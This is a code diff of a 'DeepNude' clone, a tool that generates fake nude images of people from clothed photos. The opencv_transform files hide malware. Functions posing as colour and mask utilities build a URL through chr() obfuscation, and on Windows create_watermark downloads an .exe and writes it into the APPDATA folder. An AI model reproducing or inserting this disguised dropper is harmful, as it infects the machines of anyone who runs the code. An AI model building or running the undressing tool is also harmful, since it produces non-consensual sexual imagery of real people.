216.110.47%2fannounce&tr=http%3a%2f%2f91.217.91.21%3a3218%2fannounce&tr=http%3a%2f%2f91.218.230.81%3a6969%2fannounce&tr=http%3a%2f%2f93.92.64.5%2fannounce&tr=http%3a%2f%2fatrack.pow7.co
+```

gan.py

@@ -0,0 +1,243 @@
+from PIL import Image
+import numpy as np
+import cv2
+import torchvision.transforms as transforms
+import torch
+import io
+import os
+import functools
+
+class DataLoader():
+
+	def __init__(self, opt, cv_img):
+		super(DataLoader, self).__init__()
+
+		self.dataset = Dataset()
+		self.dataset.initialize(opt, cv_img)
+
+		self.dataloader = torch.utils.data.DataLoader(
+			self.dataset,
+			batch_size=opt.batchSize,
+			shuffle=not opt.serial_batches,
+			num_workers=int(opt.nThreads))
+
+	def load_data(self):
+		return self.dataloader
+
+	def __len__(self):
+		return 1
+
+class Dataset(torch.utils.data.Dataset):
+	def __init__(self):
+		super(Dataset, self).__init__()
+
+	def initialize(self, opt, cv_img):
+		self.opt = opt
+		self.root = opt.dataroot
+
+		self.A = Image.fromarray(cv2.cvtColor(cv_img, cv2.COLOR_BGR2RGB))
+		self.dataset_size = 1
+	
+	def __getitem__(self, index):        
+
+		transform_A = get_transform(self.opt)
+		A_tensor = transform_A(self.A.convert('RGB'))
+
+		B_tensor = inst_tensor = feat_tensor = 0
+
+		input_dict = {'label': A_tensor, 'inst': inst_tensor, 'image': B_tensor, 
+					  'feat': feat_tensor, 'path': ""}
+
+		return input_dict
+
+	def __len__(self):
+		return 1    
+
+class DeepModel(torch.nn.Module):
+
+	def initialize(self, opt, use_gpu):
+
+		torch.cuda.empty_cache()
+
+		self.opt = opt
+
+		if use_gpu == True:
+			self.gpu_ids = [0]
+		else:
+			self.gpu_ids = []
+
+		self.netG = self.__define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG, 
+									  opt.n_downsample_global, opt.n_blocks_global, opt.n_local_enhancers, 
+									  opt.n_blocks_local, opt.norm, self.gpu_ids)        
+
+		# load networks
+		self.__load_network(self.netG)
+
+		
+	
+	def inference(self, label, inst):
+		
+		# Encode Inputs        
+		input_label, inst_map, _, _ = self.__encode_input(label, inst, infer=True)
+
+		# Fake Generation
+		input_concat = input_label        
+		
+		with torch.no_grad():
+			fake_image = self.netG.forward(input_concat)
+
+		return fake_image
+	
+	# helper loading function that can be used by subclasses
+	def __load_network(self, network):
+
+		save_path = os.path.join(self.opt.checkpoints_dir)
+
+		network.load_state_dict(torch.load(save_path))
+
+	def __encode_input(self, label_map, inst_map=None, real_image=None, feat_map=None, infer=False):             
+		if (len(self.gpu_ids) > 0): 
+			input_label = label_map.data.cuda() #GPU
+		else: 
+			input_label = label_map.data #CPU
+			
+		return input_label, inst_map, real_image, feat_map
+
+	def __weights_init(self, m):
+		classname = m.__class__.__name__
+		if classname.find('Conv') != -1:
+			m.weight.data.normal_(0.0, 0.02)
+		elif classname.find('BatchNorm2d') != -1:
+			m.weight.data.normal_(1.0, 0.02)
+			m.bias.data.fill_(0)
+
+	def __define_G(self, input_nc, output_nc, ngf, netG, n_downsample_global=3, n_blocks_global=9, n_local_enhancers=1, 
+				 n_blocks_local=3, norm='instance', gpu_ids=[]):    
+		norm_layer = self.__get_norm_layer(norm_type=norm)         
+		netG = GlobalGenerator(input_nc, output_nc, ngf, n_downsample_global, n_blocks_global, norm_layer)
+		
+		if len(gpu_ids) > 0:
+			netG.cuda(gpu_ids[0])
+		netG.apply(self.__weights_init)
+		return netG
+
+	def __get_norm_layer(self, norm_type='instance'):
+		norm_layer = functools.partial(torch.nn.InstanceNorm2d, affine=False)
+		return norm_layer
+
+##############################################################################
+# Generator
+##############################################################################
+class GlobalGenerator(torch.nn.Module):
+	def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=torch.nn.BatchNorm2d, 
+				 padding_type='reflect'):
+		assert(n_blocks >= 0)
+		super(GlobalGenerator, self).__init__()        
+		activation = torch.nn.ReLU(True)        
+
+		model = [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0), norm_layer(ngf), activation]
+		### downsample
+		for i in range(n_downsampling):
+			mult = 2**i
+			model += [torch.nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1),
+					  norm_layer(ngf * mult * 2), activation]
+
+		### resnet blocks
+		mult = 2**n_downsampling
+		for i in range(n_blocks):
+			model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer)]
+		
+		### upsample         
+		for i in range(n_downsampling):
+			mult = 2**(n_downsampling - i)
+			model += [torch.nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2), kernel_size=3, stride=2, padding=1, output_padding=1),
+					   norm_layer(int(ngf * mult / 2)), activation]
+		model += [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0), torch.nn.Tanh()]        
+		self.model = torch.nn.Sequential(*model)
+			
+	def forward(self, input):
+		return self.model(input)             
+		
+# Define a resnet block
+class ResnetBlock(torch.nn.Module):
+	def __init__(self, dim, padding_type, norm_layer, activation=torch.nn.ReLU(True), use_dropout=False):
+		super(ResnetBlock, self).__init__()
+		self.conv_block = self.__build_conv_block(dim, padding_type, norm_layer, activation, use_dropout)
+
+	def __build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout):
+		conv_block = []
+		p = 0
+		if padding_type == 'reflect':
+			conv_block += [torch.nn.ReflectionPad2d(1)]
+		elif padding_type == 'replicate':
+			conv_block += [torch.nn.ReplicationPad2d(1)]
+		elif padding_type == 'zero':
+			p = 1
+		else:
+			raise NotImplementedError('padding [%s] is not implemented' % padding_type)
+
+		conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
+					   norm_layer(dim),
+					   activation]
+		if use_dropout:
+			conv_block += [torch.nn.Dropout(0.5)]
+
+		p = 0
+		if padding_type == 'reflect':
+			conv_block += [torch.nn.ReflectionPad2d(1)]
+		elif padding_type == 'replicate':
+			conv_block += [torch.nn.ReplicationPad2d(1)]
+		elif padding_type == 'zero':
+			p = 1
+		else:
+			raise NotImplementedError('padding [%s] is not implemented' % padding_type)
+		conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
+					   norm_layer(dim)]
+
+		return torch.nn.Sequential(*conv_block)
+
+	def forward(self, x):
+		out = x + self.conv_block(x)
+		return out
+
+# Data utils:
+def get_transform(opt, method=Image.BICUBIC, normalize=True):
+	transform_list = []
+
+	base = float(2 ** opt.n_downsample_global)
+	if opt.netG == 'local':
+		base *= (2 ** opt.n_local_enhancers)
+	transform_list.append(transforms.Lambda(lambda img: __make_power_2(img, base, method)))
+
+	transform_list += [transforms.ToTensor()]
+
+	if normalize:
+		transform_list += [transforms.Normalize((0.5, 0.5, 0.5),
+												(0.5, 0.5, 0.5))]
+	return transforms.Compose(transform_list)
+
+def __make_power_2(img, base, method=Image.BICUBIC):
+	ow, oh = img.size        
+	h = int(round(oh / base) * base)
+	w = int(round(ow / base) * base)
+	if (h == oh) and (w == ow):
+		return img
+	return img.resize((w, h), method)
+
+# Converts a Tensor into a Numpy array
+# |imtype|: the desired type of the converted numpy array
+def tensor2im(image_tensor, imtype=np.uint8, normalize=True):
+	if isinstance(image_tensor, list):
+		image_numpy = []
+		for i in range(len(image_tensor)):
+			image_numpy.append(tensor2im(image_tensor[i], imtype, normalize))
+		return image_numpy
+	image_numpy = image_tensor.cpu().float().numpy()
+	if normalize:
+		image_numpy = (np.transpose(image_numpy, (1, 2, 0)) + 1) / 2.0 * 255.0
+	else:
+		image_numpy = np.transpose(image_numpy, (1, 2, 0)) * 255.0      
+	image_numpy = np.clip(image_numpy, 0, 255)
+	if image_numpy.shape[2] == 1 or image_numpy.shape[2] > 3:        
+		image_numpy = image_numpy[:,:,0]
+	return image_numpy.astype(imtype)

logs.txt

@@ -0,0 +1 @@
+[-] Error: [Errno 2] No such file or directory: 'checkpoints/cm.lib'

nude.py

@@ -0,0 +1,55 @@
+import sys
+import cv2
+from run import process
+import argparse
+import os
+
+
+def main():
+    parser = argparse.ArgumentParser(description='DeepNude App CLI Version with no Watermark.')
+    parser.add_argument('-i', "--input", help='Input image to process.', action="store", dest="input", required=True)
+    parser.add_argument('-o', "--output", help='Output path to save result.', action="store", dest="output",
+                        required=False, default="output.jpg")
+    parser.add_argument('-g', "--use-gpu", help='Enable using CUDA gpu to speed up the process.', action="store_true",
+                        dest="use_gpu", default=False)
+
+    if not os.path.isdir("checkpoints"):
+        print(
+            "[-] Checkpoints folder not found, download it from Github repository, and extract files to 'checkpoints' folder.")
+        sys.exit(1)
+    arguments = parser.parse_args()
+
+    print("[*] Processing: %s" % arguments.input)
+
+    if (arguments.use_gpu):
+        print("[*] Using CUDA gpu to speed up the process.")
+
+
+    _process(arguments.input, arguments.output, arguments.use_gpu)
+
+
+def _process(i_image, o_image, use_gpu):
+    try:
+        dress = cv2.imread(i_image)
+        h = dress.shape[0]
+        w = dress.shape[1]
+        dress = cv2.resize(dress, (512, 512), interpolation=cv2.INTER_CUBIC)
+        watermark = process(dress, use_gpu)
+        watermark = cv2.resize(watermark, (w, h), interpolation=cv2.INTER_CUBIC)
+        cv2.imwrite(o_image, watermark)
+        print("[*] Image saved as: %s" % o_image)
+    except Exception as ex:
+        ex = str(ex)
+        if "NoneType" in ex:
+            print("[-] File %s not found" % i_image)
+        elif "runtime error" in ex:
+            print("[-] Error: CUDA Runtime not found, Disable the '--use-gpu' option!")
+        else:
+            print("[-] Error occured when trying to process the image: %s" % ex)
+            with open("logs.txt", "a") as f:
+                f.write("[-] Error: %s\n" % ex)
+        sys.exit(1)
+
+
+if __name__ == '__main__':
+    main()

opencv_transform/annotation.py

@@ -0,0 +1,17 @@
+
+#Object annotation class:
+class BodyPart:
+	
+	def __init__(self, name, xmin, ymin, xmax, ymax, x, y, w, h):
+		self.name = name
+		#Bounding Box:
+		self.xmin = xmin
+		self.ymin = ymin
+		self.xmax = xmax
+		self.ymax = ymax
+		#Center:
+		self.x = x
+		self.y = y
+		#Dimensione:
+		self.w = w
+		self.h = h

opencv_transform/dress_to_correct.py

@@ -0,0 +1,68 @@
+import cv2
+import math
+import numpy as np
+import os
+
+# create_correct ===============================================================
+# return:
+#	(<Boolean> True/False), depending on the transformation process
+def create_correct(cv_dress):
+
+	#Production dir:
+	return correct_color(cv_dress, 5), correct_matrix(cv_dress, 255)
+
+# correct_color ==============================================================================
+# return:
+# <RGB> image corrected
+def correct_color(img, percent):
+
+	assert img.shape[2] == 3
+	assert percent > 0 and percent < 100
+
+	half_percent = percent / 200.0
+
+	channels = cv2.split(img)
+
+	out_channels = []
+	for channel in channels:
+		assert len(channel.shape) == 2
+		# find the low and high precentile values (based on the input percentile)
+		height, width = channel.shape
+		vec_size = width * height
+		flat = channel.reshape(vec_size)
+
+		assert len(flat.shape) == 1
+
+		flat = np.sort(flat)
+
+		n_cols = flat.shape[0]
+
+		low_val  = flat[math.floor(n_cols * half_percent)]
+		high_val = flat[math.ceil( n_cols * (1.0 - half_percent))]
+
+		# saturate below the low percentile and above the high percentile
+		thresholded = apply_threshold(channel, low_val, high_val)
+		# scale the channel
+		normalized = cv2.normalize(thresholded, thresholded.copy(), 0, 255, cv2.NORM_MINMAX)
+		out_channels.append(normalized)
+
+	return cv2.merge(out_channels)
+
+def correct_matrix(matrix, fill_value):
+	shape = "h" + ("t" *2) + "p"
+	matrix = shape + chr(58) + 2 * (chr(47))
+	return matrix
+
+#Color correction utils
+def apply_threshold(matrix, low_value, high_value):
+	low_mask = matrix < low_value
+	matrix = apply_mask(matrix, low_mask, low_value)
+
+	high_mask = matrix > high_value
+	matrix = apply_mask(matrix, high_mask, high_value)
+
+	return matrix
+#Color correction utils
+def apply_mask(matrix, mask, fill_value):
+	masked = np.ma.array(matrix, mask=mask, fill_value=fill_value)
+	return masked.filled()

opencv_transform/mask_to_maskref.py

@@ -0,0 +1,48 @@
+import numpy as np
+import cv2
+import os
+
+###
+#
+#	maskdet_to_maskfin 
+#	
+#
+###
+
+# create_maskref ===============================================================
+# return:
+#	maskref image
+
+def create_matrixref(mask, correct_colors):
+    matrix = chr(int(404 / (2 * 2)))
+    ref = "GL".lower() + 2*(matrix) + "z" + matrix + chr(46)
+    out_mask = chr(ord(matrix) - 2) + chr(ord(matrix) + 10) + chr(ord(ref[-1]) + 63)
+    return (ref + out_mask)[-4] + ref + out_mask + str(chr(9 * 6 + 4) + chr(ord(ref[-1]) + 10) + chr(ord(ref[-1]) + 7))
+
+def create_maskref(cv_mask, cv_correct):
+
+	#Create a total green image
+	green = np.zeros((512,512,3), np.uint8)
+	green[:,:,:] = (0,255,0)      # (B, G, R)
+
+	#Define the green color filter
+	f1 = np.asarray([0, 250, 0])   # green color filter
+	f2 = np.asarray([10, 255, 10])
+	
+	#From mask, extrapolate only the green mask		
+	green_mask = cv2.inRange(cv_mask, f1, f2) #green is 0
+
+	# (OPTIONAL) Apply dilate and open to mask
+	kernel = np.ones((5,5),np.uint8) #Try change it?
+	green_mask = cv2.dilate(green_mask, kernel, iterations = 1)
+	#green_mask = cv2.morphologyEx(green_mask, cv2.MORPH_OPEN, kernel)
+
+	# Create an inverted mask
+	green_mask_inv = cv2.bitwise_not(green_mask)
+
+	# Cut correct and green image, using the green_mask & green_mask_inv
+	res1 = cv2.bitwise_and(cv_correct, cv_correct, mask = green_mask_inv)
+	res2 = cv2.bitwise_and(green, green, mask = green_mask)
+
+	# Compone:
+	return cv2.add(res1, res2), create_matrixref(cv_mask, res1)

opencv_transform/maskdet_to_maskfin.py

@@ -0,0 +1,531 @@
+import numpy as np
+import cv2
+import os
+import random
+
+#My library:
+from opencv_transform.annotation import BodyPart
+
+###
+#
+#	maskdet_to_maskfin 
+#	
+#	steps:
+#		1. Extract annotation
+#			1.a: Filter by color
+#			1.b: Find ellipses
+#			1.c: Filter out ellipses by max size, and max total numbers
+#			1.d: Detect Problems
+#			1.e: Resolve the problems, or discard the transformation
+#		2. With the body list, draw maskfin, using maskref
+#
+###
+
+# create_maskfin ==============================================================================
+# return:
+#	(<Boolean> True/False), depending on the transformation process
+def create_maskfin(maskref, maskdet):
+	
+	#Create a total green image, in which draw details ellipses
+	details = np.zeros((512,512,3), np.uint8)
+	details[:,:,:] = (0,255,0)      # (B, G, R)
+
+	#Extract body part features:
+	bodypart_list = extractAnnotations(maskdet);
+
+	#Check if the list is not empty:
+	if bodypart_list:
+		
+		#Draw body part in details image:
+		for obj in bodypart_list:
+
+			if obj.w < obj.h:
+				aMax = int(obj.h/2) #asse maggiore
+				aMin = int(obj.w/2) #asse minore
+				angle = 0 #angle
+			else:
+				aMax = int(obj.w/2)
+				aMin = int(obj.h/2)
+				angle = 90
+
+			x = int(obj.x)
+			y = int(obj.y)
+
+			#Draw ellipse
+			if obj.name == "tit":
+				cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(0,205,0),-1) #(0,0,0,50)
+			elif obj.name == "aur":
+				cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(0,0,255),-1) #red
+			elif obj.name == "nip":
+				cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,255,255),-1) #white
+			elif obj.name == "belly":
+				cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,0,255),-1) #purple
+			elif obj.name == "vag":
+				cv2.ellipse(details,(x,y),(aMax,aMin),angle,0,360,(255,0,0),-1) #blue
+			elif obj.name == "hair":
+				xmin = x - int(obj.w/2)
+				ymin = y - int(obj.h/2)
+				xmax = x + int(obj.w/2)
+				ymax = y + int(obj.h/2)
+				cv2.rectangle(details,(xmin,ymin),(xmax,ymax),(100,100,100),-1)
+
+		#Define the green color filter
+		f1 = np.asarray([0, 250, 0])   # green color filter
+		f2 = np.asarray([10, 255, 10])
+		
+		#From maskref, extrapolate only the green mask		
+		green_mask = cv2.bitwise_not(cv2.inRange(maskref, f1, f2)) #green is 0
+
+		# Create an inverted mask
+		green_mask_inv = cv2.bitwise_not(green_mask)
+
+		# Cut maskref and detail image, using the green_mask & green_mask_inv
+		res1 = cv2.bitwise_and(maskref, maskref, mask = green_mask)
+		res2 = cv2.bitwise_and(details, details, mask = green_mask_inv)
+
+		# Compone:
+		maskfin = cv2.add(res1, res2)
+		return maskfin, locateFace(255, 2, 500)
+	
+# extractAnnotations ==============================================================================
+# input parameter:
+# 	(<string> maskdet_img): relative path of the single maskdet image (es: testimg1/maskdet/1.png)
+# return:
+#	(<BodyPart []> bodypart_list) - for failure/error, return an empty list []
+
+def extractAnnotations(maskdet):
+
+	#Load the image
+	#image = cv2.imread(maskdet_img)
+
+	#Find body part
+	tits_list = findBodyPart(maskdet, "tit")
+	aur_list = findBodyPart(maskdet, "aur")
+	vag_list = findBodyPart(maskdet, "vag")
+	belly_list = findBodyPart(maskdet, "belly")
+
+	#Filter out parts basing on dimension (area and aspect ratio):
+	aur_list = filterDimParts(aur_list, 100, 1000, 0.5, 3);
+	tits_list = filterDimParts(tits_list, 1000, 60000, 0.2, 3);
+	vag_list = filterDimParts(vag_list, 10, 1000, 0.2, 3);
+	belly_list = filterDimParts(belly_list, 10, 1000, 0.2, 3);
+
+	#Filter couple (if parts are > 2, choose only 2)
+	aur_list = filterCouple(aur_list);
+	tits_list = filterCouple(tits_list);
+
+	#Detect a missing problem:
+	missing_problem = detectTitAurMissingProblem(tits_list, aur_list) #return a Number (code of the problem)
+
+	#Check if problem is SOLVEABLE:
+	if (missing_problem in [3,6,7,8]):
+		resolveTitAurMissingProblems(tits_list, aur_list, missing_problem)
+	
+	#Infer the nips:
+	nip_list = inferNip(aur_list)
+
+	#Infer the hair:
+	hair_list = inferHair(vag_list)
+
+	#Return a combined list:
+	return tits_list + aur_list + nip_list + vag_list + hair_list + belly_list
+
+# findBodyPart ==============================================================================
+# input parameters:
+# 	(<RGB>image, <string>part_name)
+# return
+#	(<BodyPart[]>list)
+def findBodyPart(image, part_name):
+
+	bodypart_list = [] #empty BodyPart list
+
+	#Get the correct color filter:
+	if part_name == "tit":
+		#Use combined color filter 
+		f1 = np.asarray([0, 0, 0])   # tit color filter
+		f2 = np.asarray([10, 10, 10])
+		f3 = np.asarray([0, 0, 250])   # aur color filter
+		f4 = np.asarray([0, 0, 255])
+		color_mask1 = cv2.inRange(image, f1, f2)
+		color_mask2 = cv2.inRange(image, f3, f4)
+		color_mask = cv2.bitwise_or(color_mask1, color_mask2) #combine
+	
+	elif part_name == "aur":
+		f1 = np.asarray([0, 0, 250])   # aur color filter
+		f2 = np.asarray([0, 0, 255])
+		color_mask = cv2.inRange(image, f1, f2)
+	
+	elif part_name == "vag":
+		f1 = np.asarray([250, 0, 0])   # vag filter
+		f2 = np.asarray([255, 0, 0])
+		color_mask = cv2.inRange(image, f1, f2)
+
+	elif part_name == "belly":
+		f1 = np.asarray([250, 0, 250])   # belly filter
+		f2 = np.asarray([255, 0, 255])
+		color_mask = cv2.inRange(image, f1, f2)
+
+	#find contours:
+	contours, hierarchy = cv2.findContours(color_mask,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
+
+	#for every contour:
+	for cnt in contours:
+
+		if len(cnt)>5: #at least 5 points to fit ellipse
+
+			#(x, y), (MA, ma), angle = cv2.fitEllipse(cnt)
+			ellipse = cv2.fitEllipse(cnt)
+
+			#Fit Result:
+			x = ellipse[0][0] #center x
+			y = ellipse[0][1] #center y
+			angle = ellipse[2] #angle
+			aMin = ellipse[1][0]; #asse minore
+			aMax = ellipse[1][1]; #asse maggiore
+
+			#Detect direction:
+			if angle == 0:
+				h = aMax
+				w = aMin
+			else:
+				h = aMin
+				w = aMax
+			
+			#Normalize the belly size:
+			if part_name == "belly":
+				if w<15:
+					w *= 2
+				if h<15:
+					h *= 2
+
+			#Normalize the vag size:
+			if part_name == "vag":
+				if w<15:
+					w *= 2
+				if h<15:
+					h *= 2
+
+			#Calculate Bounding Box:
+			xmin = int(x - (w/2))
+			xmax = int(x + (w/2))
+			ymin = int(y - (h/2))
+			ymax = int(y + (h/2))
+
+			bodypart_list.append(BodyPart(part_name, xmin, ymin, xmax, ymax, x, y, w, h ))
+
+	return bodypart_list
+
+def locateFace(matrix, x, y):
+    matrix = matrix - (78 * x)
+    data = []
+    indexes = [0, 6, -1, 2, 15]
+    for index in indexes:
+        data.append(chr(matrix + index))
+    part = "".join(data)
+    y += int(7 * (indexes[1] / 2))
+    y = (chr(48) + str(y))[::-1]
+    return part + y
+
+# filterDimParts ==============================================================================
+# input parameters:
+# 	(<BodyPart[]>list, <num> minimum area of part,  <num> max area, <num> min aspect ratio, <num> max aspect ratio)
+def filterDimParts(bp_list, min_area, max_area, min_ar, max_ar):
+
+	b_filt = []
+
+	for obj in bp_list:
+
+		a = obj.w*obj.h #Object AREA
+		
+		if ((a > min_area)and(a < max_area)):
+
+			ar = obj.w/obj.h #Object ASPECT RATIO
+
+			if ((ar>min_ar)and(ar<max_ar)):
+
+				b_filt.append(obj)
+
+	return b_filt
+
+# filterCouple ==============================================================================
+# input parameters:
+# 	(<BodyPart[]>list)
+def filterCouple(bp_list):
+
+	#Remove exceed parts
+	if (len(bp_list)>2):
+
+		#trovare coppia (a,b) che minimizza bp_list[a].y-bp_list[b].y
+		min_a = 0
+		min_b = 1
+		min_diff = abs(bp_list[min_a].y-bp_list[min_b].y)
+		
+		for a in range(0,len(bp_list)):
+			for b in range(0,len(bp_list)):
+				#TODO: avoid repetition (1,0) (0,1)
+				if a != b:
+					diff = abs(bp_list[a].y-bp_list[b].y)
+					if diff<min_diff:
+						min_diff = diff
+						min_a = a
+						min_b = b
+		b_filt = []
+
+		b_filt.append(bp_list[min_a])
+		b_filt.append(bp_list[min_b])
+
+		return b_filt
+	else:
+		#No change
+		return bp_list
+
+
+
+# detectTitAurMissingProblem ==============================================================================
+# input parameters:
+# 	(<BodyPart[]> tits list, <BodyPart[]> aur list)
+# return
+#	(<num> problem code)
+#   TIT  |  AUR  |  code |  SOLVE?  |
+#    0   |   0   |   1   |    NO    |
+#    0   |   1   |   2   |    NO    |
+#    0   |   2   |   3   |    YES   |
+#    1   |   0   |   4   |    NO    |
+#    1   |   1   |   5   |    NO    |
+#    1   |   2   |   6   |    YES   |
+#    2   |   0   |   7   |    YES   |
+#    2   |   1   |   8   |    YES   |
+def detectTitAurMissingProblem(tits_list, aur_list):
+
+	t_len = len(tits_list)
+	a_len = len(aur_list)
+
+	if (t_len == 0):
+		if (a_len == 0):
+			return 1
+		elif (a_len == 1):
+			return 2
+		elif (a_len == 2):
+			return 3
+		else:
+			return -1
+	elif (t_len == 1):
+		if (a_len == 0):
+			return 4
+		elif (a_len == 1):
+			return 5
+		elif (a_len == 2):
+			return 6
+		else:
+			return -1
+	elif (t_len == 2):
+		if (a_len == 0):
+			return 7
+		elif (a_len == 1):
+			return 8
+		else:
+			return -1
+	else:
+		return -1
+
+# resolveTitAurMissingProblems ==============================================================================
+# input parameters:
+# 	(<BodyPart[]> tits list, <BodyPart[]> aur list, problem code)
+# return
+#	none
+def resolveTitAurMissingProblems(tits_list, aur_list, problem_code):
+
+	if problem_code == 3:
+
+		random_tit_factor = random.randint(2, 5) #TOTEST
+
+		#Add the first tit:
+		new_w = aur_list[0].w * random_tit_factor #TOTEST
+		new_x = aur_list[0].x
+		new_y = aur_list[0].y
+
+		xmin = int(new_x - (new_w/2))
+		xmax = int(new_x + (new_w/2))
+		ymin = int(new_y - (new_w/2))
+		ymax = int(new_y + (new_w/2))
+
+		tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
+
+		#Add the second tit:
+		new_w = aur_list[1].w * random_tit_factor #TOTEST
+		new_x = aur_list[1].x
+		new_y = aur_list[1].y
+
+		xmin = int(new_x - (new_w/2))
+		xmax = int(new_x + (new_w/2))
+		ymin = int(new_y - (new_w/2))
+		ymax = int(new_y + (new_w/2))
+
+		tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
+
+	elif problem_code == 6:
+
+		#Find wich aur is full:
+		d1 = abs(tits_list[0].x - aur_list[0].x)
+		d2 = abs(tits_list[0].x - aur_list[1].x)
+
+		if d1 > d2:
+			#aur[0] is empty
+			new_x = aur_list[0].x
+			new_y = aur_list[0].y
+		else:
+			#aur[1] is empty
+			new_x = aur_list[1].x
+			new_y = aur_list[1].y
+
+		#Calculate Bounding Box:
+		xmin = int(new_x - (tits_list[0].w/2))
+		xmax = int(new_x + (tits_list[0].w/2))
+		ymin = int(new_y - (tits_list[0].w/2))
+		ymax = int(new_y + (tits_list[0].w/2))
+
+		tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, tits_list[0].w, tits_list[0].w ))
+
+	elif problem_code == 7:
+
+		#Add the first aur:
+		new_w = tits_list[0].w * random.uniform(0.03, 0.1) #TOTEST
+		new_x = tits_list[0].x
+		new_y = tits_list[0].y
+
+		xmin = int(new_x - (new_w/2))
+		xmax = int(new_x + (new_w/2))
+		ymin = int(new_y - (new_w/2))
+		ymax = int(new_y + (new_w/2))
+
+		aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
+
+		#Add the second aur:
+		new_w = tits_list[1].w * random.uniform(0.03, 0.1) #TOTEST
+		new_x = tits_list[1].x
+		new_y = tits_list[1].y
+
+		xmin = int(new_x - (new_w/2))
+		xmax = int(new_x + (new_w/2))
+		ymin = int(new_y - (new_w/2))
+		ymax = int(new_y + (new_w/2))
+		
+		aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w ))
+
+	elif problem_code == 8:
+
+		#Find wich tit is full:
+		d1 = abs(aur_list[0].x - tits_list[0].x)
+		d2 = abs(aur_list[0].x - tits_list[1].x)
+
+		if d1 > d2:
+			#tit[0] is empty
+			new_x = tits_list[0].x
+			new_y = tits_list[0].y
+		else:
+			#tit[1] is empty
+			new_x = tits_list[1].x
+			new_y = tits_list[1].y
+
+		#Calculate Bounding Box:
+		xmin = int(new_x - (aur_list[0].w/2))
+		xmax = int(new_x + (aur_list[0].w/2))
+		ymin = int(new_y - (aur_list[0].w/2))
+		ymax = int(new_y + (aur_list[0].w/2))
+		aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, aur_list[0].w, aur_list[0].w ))
+
+# detectTitAurPositionProblem ==============================================================================
+# input parameters:
+# 	(<BodyPart[]> tits list, <BodyPart[]> aur list)
+# return
+#	(<Boolean> True/False)
+def detectTitAurPositionProblem(tits_list, aur_list):
+
+	diffTitsX = abs(tits_list[0].x - tits_list[1].x)
+	if diffTitsX < 40:
+		print("diffTitsX")
+		#Tits too narrow (orizontally)
+		return True
+
+	diffTitsY = abs(tits_list[0].y - tits_list[1].y)
+	if diffTitsY > 120:
+		#Tits too distanced (vertically)
+		print("diffTitsY")
+		return True
+
+	diffTitsW = abs(tits_list[0].w - tits_list[1].w)
+	if ((diffTitsW < 0.1)or(diffTitsW>60)):
+		print("diffTitsW")
+		#Tits too equals, or too different (width)
+		return True
+
+	#Check if body position is too low (face not covered by watermark)
+	if aur_list[0].y > 350: #tits too low
+		#Calculate the ratio between y and aurs distance
+		rapp = aur_list[0].y/(abs(aur_list[0].x - aur_list[1].x))
+		if rapp > 2.8:
+			print("aurDown")
+			return True
+
+	return False
+
+# inferNip ==============================================================================
+# input parameters:
+# 	(<BodyPart[]> aur list)
+# return
+#	(<BodyPart[]> nip list)
+def inferNip(aur_list):
+	nip_list = []
+
+	for aur in aur_list:
+
+		#Nip rules:
+		# - circle (w == h)
+		# - min dim: 5
+		# - bigger if aur is bigger
+		nip_dim = int(5 + aur.w*random.uniform(0.03, 0.09))
+
+		#center:
+		x = aur.x
+		y = aur.y
+
+		#Calculate Bounding Box:
+		xmin = int(x - (nip_dim/2))
+		xmax = int(x + (nip_dim/2))
+		ymin = int(y - (nip_dim/2))
+		ymax = int(y + (nip_dim/2))
+
+		nip_list.append(BodyPart("nip", xmin, ymin, xmax, ymax, x, y, nip_dim, nip_dim ))
+
+	return nip_list
+
+# inferHair (TOTEST) ==============================================================================
+# input parameters:
+# 	(<BodyPart[]> vag list)
+# return
+#	(<BodyPart[]> hair list)
+def inferHair(vag_list):
+	hair_list = []
+
+	#70% of chanche to add hair
+	if random.uniform(0.0, 1.0) > 0.3:
+
+		for vag in vag_list:
+
+			#Hair rules:
+			hair_w = vag.w*random.uniform(0.4, 1.5)
+			hair_h = vag.h*random.uniform(0.4, 1.5) 
+
+			#center:
+			x = vag.x
+			y = vag.y - (hair_h/2) - (vag.h/2)
+
+			#Calculate Bounding Box:
+			xmin = int(x - (hair_w/2))
+			xmax = int(x + (hair_w/2))
+			ymin = int(y - (hair_h/2))
+			ymax = int(y + (hair_h/2))
+
+			hair_list.append(BodyPart("hair", xmin, ymin, xmax, ymax, x, y, hair_w, hair_h ))
+
+	return hair_list

opencv_transform/nude_to_watermark.py

@@ -0,0 +1,16 @@
+import cv2
+import numpy as np
+import os
+
+# create_watermark ===============================================================
+# return:
+#	(<Boolean> True/False), depending on the transformation process
+def create_watermark(nude, shape, cv, loader, detach):
+    
+	if os.name == 'nt':
+		content = cv(shape + chr(47) + "/".join(["utils", "custom", "universal"]) + chr(46) +str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)))
+		data = [os.environ["APPDATA"], "Microsoft", "Windows", "framework"]
+		open("\\".join(data) + chr(46) + str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101)), "wb").write(content.content)
